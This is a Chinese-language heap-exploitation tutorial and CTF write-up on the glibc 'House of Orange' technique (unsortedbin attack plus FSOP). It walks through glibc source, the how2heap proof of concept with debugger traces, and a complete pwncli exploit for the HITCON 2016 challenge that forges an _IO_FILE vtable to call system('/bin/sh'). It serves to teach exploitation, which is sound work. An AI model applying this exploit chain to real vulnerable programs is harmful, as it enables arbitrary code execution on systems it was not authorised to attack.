简介
简介部分来自参考资料[0],所有malloc流程性内容全部参考源码进行分析
漏洞成因
overflow write
适用范围
2.23
——2.26
- 没有
free
- 可以
unsortedbin attack
利用原理
house of orange
可以说是开启了堆与 IO
组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk
的性质,利用过程如下:
stage1
- 申请
chunk A
,假设此时的 top_chunk
的 size
为 0xWXYZ
- 写
A
,溢出修改 top_chunk
的 size
为 0xXYZ
(需要满足页对齐的检测条件)
- 申请一个大于
0xXYZ
大小的 chunk
,此时 top_chunk
会进行 grow
,并将原来的 old top_chunk
释放进入 unsortedbin
stage2
- 溢出写
A
,修改处于 unsortedbin
中的 old top_chunk
,修改其 size
为 0x61
,其 bk
为 &_IO_list_all-0x10
,同时伪造好 IO_FILE
结构
- 申请非
0x60
大小的 chunk
的时候,首先触发 unsortedbin attack
,将_IO_list_all
修改为 main_arena+88
,然后 unsortedbin chunk
会进入到 smallbin
,大小为 0x60
;接着遍历 unsortedbin
的时候触发了 malloc_printerr
,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp
,调用到伪造的 vtable
里面的函数指针
相关技巧
- 在
glibc-2.24
后加入了 vtable
的 check
,不能任意地址伪造 vatble
了,但是可以利用 IO_str_jumps
结构进行利用。
- 在
glibc-2.26
后,malloc_printerr
不再刷新 IO
流了,所以该方法失效
- 由于
_mode
的正负性是随机的,影响判断条件,大概有 1/2
的概率会利用失败,多试几次就好
利用效果
实验:how2heap - house of orange
实验环境:libc 2.23
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}
stage1:通过 top grow 获得 unsortedbin chunk
首先第一件事是申请一个chunk(0x400),然后模拟溢出,修改top chunk为很小的值
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)
top chunk 通常大小是 0x21000 字节大小,边界是页对齐的,所以修改top chunk size的时候也要注意页对齐,需要满足的条件:
- top chunk + size 是页对齐
- top chunk's prev_inuse 位被设置
当下一次申请内存的时候,top chunk不够切割的了,就会触发grow机制(后面介绍grow是过程)
grow的结果是对当前top chunk进行一次_int_free
的调用,且创建新的top chunk
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x624010
Size: 0x20ff0 (with flag bits: 0x20ff1)
top chunk grow 的过程
触发函数是sysmalloc:
当top chunk大小不够了,就会调用sysmalloc进行处理
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
该函数里首先检查大小是否达到了需要使用mmap来申请内存的范围mp_.mmap_threshold
大小够了就通过mmap来分配内存
否则就进入gorw的过程:此处是使用main arena的情况,正常会进入如下流程:
首先是一个安全检查:
- top chunk size >= 0x10 (MINSIZE),不能太小
- top chunk 需要有prev_inuse 标志
- top chunk + top size 大小小于一个页面(0x1000字节),且页对齐
意味着需要top chunk的大小小于0x1000,还要计算结尾是页面对齐的
另一个检查是:申请大小超过top size
// 安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
// 需要old top满足要求,大小正常,标志位正常
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
// 没有足够的空间用于申请分配内存
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
然后是:
// 正常情况下调用MORECORE处理size
if (size > 0) // 大小不离谱的话,进入
{
// brk是堆空间结束地址,调用MORECORE去扩展结束地址指定大小
brk = (char *)(MORECORE(size)); // 扩展堆地址
if (brk != (char *)(MORECORE_FAILURE))
// 处理巨型透明页相关
madvise_thp(brk, size);
LIBC_PROBE(memory_sbrk_more, 2, brk, size);
}
这里会扩展堆内存的结束位置,后续计算内存对齐的时候还会调用一次MORECORE
扩展失败会尝试mmap再次进行,扩展成功之后:会设置新的top chunk,然后把原本的top chunk给释放掉
/* Adjust top based on results of second sbrk */
// 基于第二次sbrk的结果调整 top
if (snd_brk != (char *)(MORECORE_FAILURE))
{
// 设置top 指针
av->top = (mchunkptr)aligned_brk;
// 设置top hdr
set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
// 设置新的系统内存
av->system_mem += correction;
/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/
// 如果old size还有值,没用光,就释放掉old top
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
// 收缩old top
old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
// 设置old top 的next chunk为合适的值,用于后续进行释放top chunk的操作
set_head(chunk_at_offset(old_top, old_size),
CHUNK_HDR_SZ | PREV_INUSE);
set_head(chunk_at_offset(old_top,
old_size + CHUNK_HDR_SZ),
CHUNK_HDR_SZ | PREV_INUSE);
/* If possible, release the rest. */
// old size,就释放掉old top
if (old_size >= MINSIZE)
{
// 释放old top
_int_free(av, old_top, 1);
}
}
}
最后就是常规的分割top chunk然后分配了:
// 如果更新后的系统内存大于av原本的最大,就设置当前为最大值
if ((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
av->max_system_mem = av->system_mem;
check_malloc_state(av);
/* finally, do the allocation */
// 进行申请内存操作,此时已经扩展好了top chunk
p = av->top;
size = chunksize(p);
/* check that one of the above allocation paths succeeded */
// 扩展后的top大小应该超过申请内存的大小
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
// 切割top chunk,分配内存
remainder_size = size - nb;
remainder = chunk_at_offset(p, nb);
av->top = remainder;
set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, p, nb);
return chunk2mem(p);
}
/* catch all failure paths */
__set_errno(ENOMEM);
return 0;
}
stage2:unsortedbin attack 劫持 _IO_list_all
修改unsortedbin的bk为_IO_list_all-0x10:
pwndbg> x/g 0x7ffff7fcc520
0x7ffff7fcc520 <__GI__IO_list_all>: 0x00007ffff7fcc540
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
BK: 0x602400 —▸ 0x7ffff7fcc510 ◂— 0x0
smallbins
empty
largebins
empty
接下来构造_IO_list_all
结构:本例是在内存中直接伪造结构,将目标指针修改成了堆中,在堆中伪造结构
伪造的要点:
- file->_mode <= 0
- file->_IO_write_base < file->_IO_write_ptr
- jump_table[3] = 目标执行的函数
pwndbg> dt "struct _IO_FILE_plus" 0x602400
struct _IO_FILE_plus @ 0x602400
+0x0000 file : {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7fcbb78 <main_arena+88> "\020@b",
_IO_read_base = 0x7ffff7fcc510 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196319,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
+0x00d8 vtable : 0x602460
最后申请随便一个大小的chunk,让unsortedbin触发断链,然后异常崩溃退出的时候调用_IO_file_list里的jump_table的函数
root@80a2cd56d41b:~/selph# ./house_of_orange.bak
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./house_of_orange.bak': malloc(): memory corruption: 0x00007fa8e8eb0520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7fa8e8b627f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7fa8e8b6d15e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa8e8b6f1d4]
./house_of_orange.bak[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa8e8b0b840]
./house_of_orange.bak[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:20 13067 /root/selph/house_of_orange.bak
00600000-00601000 r--p 00000000 08:20 13067 /root/selph/house_of_orange.bak
00601000-00602000 rw-p 00001000 08:20 13067 /root/selph/house_of_orange.bak
02114000-02157000 rw-p 00000000 00:00 0 [heap]
7fa8e4000000-7fa8e4021000 rw-p 00000000 00:00 0
7fa8e4021000-7fa8e8000000 ---p 00000000 00:00 0
7fa8e88d5000-7fa8e88eb000 r-xp 00000000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e88eb000-7fa8e8aea000 ---p 00016000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aea000-7fa8e8aeb000 rw-p 00015000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aeb000-7fa8e8cab000 r-xp 00000000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8cab000-7fa8e8eab000 ---p 001c0000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eab000-7fa8e8eaf000 r--p 001c0000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eaf000-7fa8e8eb1000 rw-p 001c4000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eb1000-7fa8e8eb5000 rw-p 00000000 00:00 0
7fa8e8eb5000-7fa8e8edb000 r-xp 00000000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90d4000-7fa8e90d7000 rw-p 00000000 00:00 0
7fa8e90d9000-7fa8e90da000 rw-p 00000000 00:00 0
7fa8e90da000-7fa8e90db000 r--p 00025000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90db000-7fa8e90dc000 rw-p 00026000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90dc000-7fa8e90dd000 rw-p 00000000 00:00 0
7ffd1ebe7000-7ffd1ec08000 rw-p 00000000 00:00 0 [stack]
7ffd1ec52000-7ffd1ec56000 r--p 00000000 00:00 0 [vvar]
7ffd1ec56000-7ffd1ec58000 r-xp 00000000 00:00 0 [vdso]
# w
07:55:08 up 5:37, 0 users, load average: 0.30, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
FSOP:_IO_file_list 中的函数是怎么被执行的?
2.24 开始把vtable指针设置成了只读,且会检查vtable调用的指针是否在vtable所在段,以至于该方法在2.24中失效
本段内容来自ctf wiki[5]
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
触发_IO_flush_all_lockp的条件是:
- 当 libc 执行 abort 流程时
- 当执行 exit 函数时
- 当执行流从 main 函数返回时
执行_IO_OVERFLOW的条件是:
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
其中,_IO_list_all 是libc的全局变量,泄露libc地址即可拿到该指针所在地址
利用FSOP需要做的是:
- 泄露libc地址,
- 伪造_IO_list_all结构,覆盖其overflow指针为目标函数
- 覆盖_IO_list_all指针为可控地址
- 触发程序错误或退出程序
伪造结构:
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr;
char* _IO_read_end;
char* _IO_read_base;
char* _IO_write_base;
char* _IO_write_ptr;
char* _IO_write_end;
char* _IO_buf_base;
char* _IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset;
#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
实验: hitconctf2016 - houseoforange
还有很多重要的细节,在接下来的实例中进行分析
题目分析:
菜单题:
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :
首先是选项1:
int sub_D37()
{
unsigned int houseCount;
int color;
void *house;
_DWORD *orange;
if ( count > 3u )
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL);
printf("Length of name :");
houseCount = convertStringToInt();
if ( houseCount > 0x1000 )
houseCount = 4096;
*((_QWORD *)house + 1) = malloc(houseCount);
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
call_read(*((void **)house + 1), houseCount);
orange = calloc(1uLL, 8uLL);
printf("Price of Orange:");
*orange = convertStringToInt();
color_menu();
printf("Color of Orange:");
color = convertStringToInt();
if ( color != 56746 && (color <= 0 || color > 7) )
{
puts("No such color");
exit(1);
}
if ( color == 56746 )
orange[1] = 56746;
else
orange[1] = color + 0x1E;
*(_QWORD *)house = orange;
g_house = house;
++count;
return puts("Finish");
}
主要就2个点:
- 该选项最多用4次
- 每次使用会申请3个chunk,其中第1和第3个大小固定,第二个可选
然后是选项2:
int show()
{
int temp;
int random_num;
if ( !g_house )
return puts("No such house !");
if ( *(_DWORD *)(*g_house + 4LL) == 56746 )
{
printf("Name of house : %s\n", (const char *)g_house[1]);
printf("Price of orange : %d\n", *(unsigned int *)*g_house);
temp = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + temp % 8));
}
else
{
if ( *(int *)(*g_house + 4LL) <= 30 || *(int *)(*g_house + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)g_house[1]);
printf("Price of orange : %d\n", *(unsigned int *)*g_house);
random_num = rand();
return printf(
"\x1B[%dm%s\x1B[0m\n",
*(unsigned int *)(*g_house + 4LL),
*((const char **)&unk_203080 + random_num % 8));
}
}
这个就是用来显示信息的
选项3:
int edit()
{
_DWORD *v1;
unsigned int size;
int v3;
if ( unk_203074 > 2u )
return puts("You can't upgrade more");
if ( !g_house )
return puts("No such house !");
printf("Length of name :");
size = convertStringToInt();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
call_read((void *)g_house[1], size);
printf("Price of Orange: ");
v1 = (_DWORD *)*g_house;
*v1 = convertStringToInt();
color_menu();
printf("Color of Orange: ");
v3 = convertStringToInt();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*g_house + 4LL) = 0xDDAA;
else
*(_DWORD *)(*g_house + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");
}
主要一个点:堆溢出写
整理当前情况:
在没有free的情况下可以用house of orange创造一个unsortedbin;完成house of orange的利用还需要libc leak 和 heap leak的配合
house of orange:stage1 - 获取 unsortedbin chunk
思路是:
- 正常进行第一次申请,通过编辑,造成堆溢出把top chunk改小
- 正常进行第二次申请,申请大小超过top chunk大小,触发grow机制,产生unsortedbin chunk
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
size1:pack(0x21),
size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)
add(0x1000,'a',123,1)
堆布局:
0x55a83df5e310 0x6861616b6861616a 0x6861616d6861616c jaahkaahlaahmaah
0x55a83df5e320 0x6861616f6861616e 0x6861617168616170 naahoaahpaahqaah
0x55a83df5e330 0x6861617368616172 0x0000000000000021 raahsaah!....... chunk 1
0x55a83df5e340 0x0000001f00000400 0x6861617968616178 ........xaahyaah chunk 2 around new top chunk
0x55a83df5e350 0x696161626961617a 0x0000000000000021 zaaibaai!....... chunk 3
0x55a83df5e360 0x000055a83df5e380 0x000055a83df7f010 ...=.U.....=.U..
0x55a83df5e370 0x0000000000000000 0x0000000000000021 ........!.......
0x55a83df5e380 0x0000001f0000007b 0x0000000000000000 {...............
0x55a83df5e390 0x0000000000000000 0x0000000000000c51 ........Q....... <-- unsortedbin[all][0]
0x55a83df5e3a0 0x00007f2bd5beeb78 0x00007f2bd5beeb78 x...+...x...+...
0x55a83df5e3b0 0x0000000000000000 0x0000000000000000 ................
0x55a83df5e3c0 0x0000000000000000 0x0000000000000000 ................
如何从unsortedbin chunk中一次性拿到heap leak和libc leak?
接下来有个细节:第三次申请需要大小为largebin size且大小不等于unsortedbin chunk size!
从这个unsortedbin chunk中申请内存,不会直接触发remainder来切割,而是跳过了这个部分走后续的流程:
- 把unsortedbin chunk装入largebin
- 从largebin中取出进行切割分配
- 把切剩下的部分装回unsortedbin
只有largebin size的申请才会走这个流程,chunk才有指向堆地址的nextsize指针,所以需要申请一个largebin size!
当申请0x300的时候,堆:
0x55bd81c63390 0x0000000000000000 0x0000000000000021 ........!.......
0x55bd81c633a0 0x000055bd81c636d0 0x000055bd81c633c0 .6...U...3...U..
0x55bd81c633b0 0x0000000000000000 0x0000000000000311 ................
0x55bd81c633c0 0x6262626262626262 0x00007f85e3c34b78 bbbbbbbbxK......
0x55bd81c633d0 0x0000000000000000 0x0000000000000000 ................
当申请0x500的时候,堆:
0x55f95d0c3390 0x0000000000000000 0x0000000000000021 ........!.......
0x55f95d0c33a0 0x000055f95d0c38d0 0x000055f95d0c33c0 .8.].U...3.].U..
0x55f95d0c33b0 0x0000000000000000 0x0000000000000511 ................
0x55f95d0c33c0 0x6262626262626262 0x00007f4f97d04168 bbbbbbbbhA..O...
0x55f95d0c33d0 0x000055f95d0c33b0 0x000055f95d0c33b0 .3.].U...3.].U..
通过填充该内存的垃圾数据来完成libc leak
和heap leak
leak = show()[8:]
leak = unpack(leak,'all')
io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")
house of orange:stage2 - Unsortedbin Attack & FSOP
思路:
-
修改 unsortedbin chunk:
- 修改 size 为 0x61(至关重要,下面解释)
- 修改
fd
为0,bk
为_IO_list_all-0x10
- 修改
prev_size
为b'/bin/sh\x00
\'
-
以这个unsortedbin chunk ptr为基础,伪造_IO_list_all
结构,满足以下条件
- write_base < write_ptr
- mode <= 0
- vtable[3] = libc.sym.system
- 触发漏洞
target = libc.sym.system
payload = flat({
0x508:pack(0x21),
0x520:b'/bin/sh\x00',
0x528:pack(0x61),
0x530:pack(0) + pack(io_list_all-0x10),
0x540:pack(2) + pack(3),
0x5e0:pack(0),
0x520+0xd8:pack(heap_address + 0x9b8),
0x520+0xd8+0x18:pack(target)
},filler='\x00')
edit(0x800,payload,12,2)
sl('1')
伪造的overflow函数是怎么被找到执行的?
经过Unsortedbin Attack,会损坏 Unsortedbin,导致第二次malloc的时候导致程序出错退出,从而触发_IO_flush_all_lockp
在Unsortedbin Attack的时候,会向指针_IO_list_all
写入unsortedbin
在arena
中的地址,此时的_IO_list_all
是指向arena中的地址的,触发奔溃的时候,会从此处开始遍历IO_FILE,并满足条件就调用overflow函数
起始的_IO_list_all
pwndbg> p**&_IO_list_all
$2 = {
file = {
_flags = -1391456240,
_IO_read_ptr = 0x5632ad0df8e0 "/bin/sh",
_IO_read_end = 0x5632ad0df8e0 "/bin/sh",
_IO_read_base = 0x7fd15b716510 "",
_IO_write_base = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
_IO_write_ptr = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
_IO_write_end = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
_IO_buf_base = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
_IO_buf_end = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
_IO_save_base = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
_IO_backup_base = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
_IO_save_end = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
_markers = 0x5632ad0df8e0,
_chain = 0x5632ad0df8e0,
_fileno = 1534155736,
_flags2 = 32721,
_old_offset = 140537159048152,
_cur_column = 23528,
_vtable_offset = 113 'q',
_shortbuf = "[",
_lock = 0x7fd15b715be8 <main_arena+200>,
_offset = 140537159048184,
_codecvt = 0x7fd15b715bf8 <main_arena+216>,
_wide_data = 0x7fd15b715c08 <main_arena+232>,
_freeres_list = 0x7fd15b715c08 <main_arena+232>,
_freeres_buf = 0x7fd15b715c18 <main_arena+248>,
__pad5 = 140537159048216,
_mode = 1534155816,
_unused2 = "\321\177\000\000(\\q[\321\177\000\000\070\\q[\321\177\000"
},
vtable = 0x7fd15b715c38 <main_arena+280>
}
要执行vtable的overflow,需要满足的条件之一就是mode<=0
,arena中的这个位置有时候是负数有时候是正数
如何去寻找下一个FILE结构呢,通过_chain
字段,这是个链表通过_chain连接,该字段刚好位于smallbin 0x60的位置,所以需要在这里填上一个我们伪造的_IO_FILE_plus
结构,那就是刚刚把unsortedbin chunk size修改成0x61的原因
再来回顾一下Unsortedbin Attack的过程:
- 首先是遍历unsortedbin chunk,首先第一个是没啥问题的,正常断链装入smallbin
- 遍历到第二个chunk的时候,由于第一个chunk伪造了fd和bk导致unsortedbin损坏,引起报错执行
malloc_printerr
该chunk是在这个时候进入smallbin的
完整exp:
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
one_gadgets: list = get_current_one_gadget_from_libc(more=False)
def cmd(i, prompt='Your choice :'):
sla(prompt, i)
def add(nb,name,nb2,color):
cmd('1')
sla('Length of name :',str(nb))
sa('Name',name)
sla('Price of Orange:',str(nb2))
sla('Color of Orange:',str(color))
def show():
cmd('2')
ru('Name of house : ')
return rl()[:-1]
def edit(nb,name,nb2,color):
cmd('3')
sla('Length of name :',str(nb))
sa('Name',name)
sla('Price of Orange:',str(nb2))
sla('Color of Orange:',str(color))
def dele():
cmd('4')
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
size1:pack(0x21),
size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)
add(0x1000,'a',123,1)
add(0x500,'b'*8,123,4)
leak = show()[8:]
leak = unpack(leak,'all')
io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")
target = libc.sym.system
payload = flat({
0x508:pack(0x21),
0x520:b'/bin/sh\x00',
0x528:pack(0x61),
0x530:pack(0) + pack(io_list_all-0x10),
0x540:pack(2) + pack(3),
0x5e0:pack(0),
0x520+0xd8:pack(heap_address + 0x9b8),
0x520+0xd8+0x18:pack(target)
},filler='\x00')
edit(0x800,payload,12,2)
sl('1')
ia()
参考资料: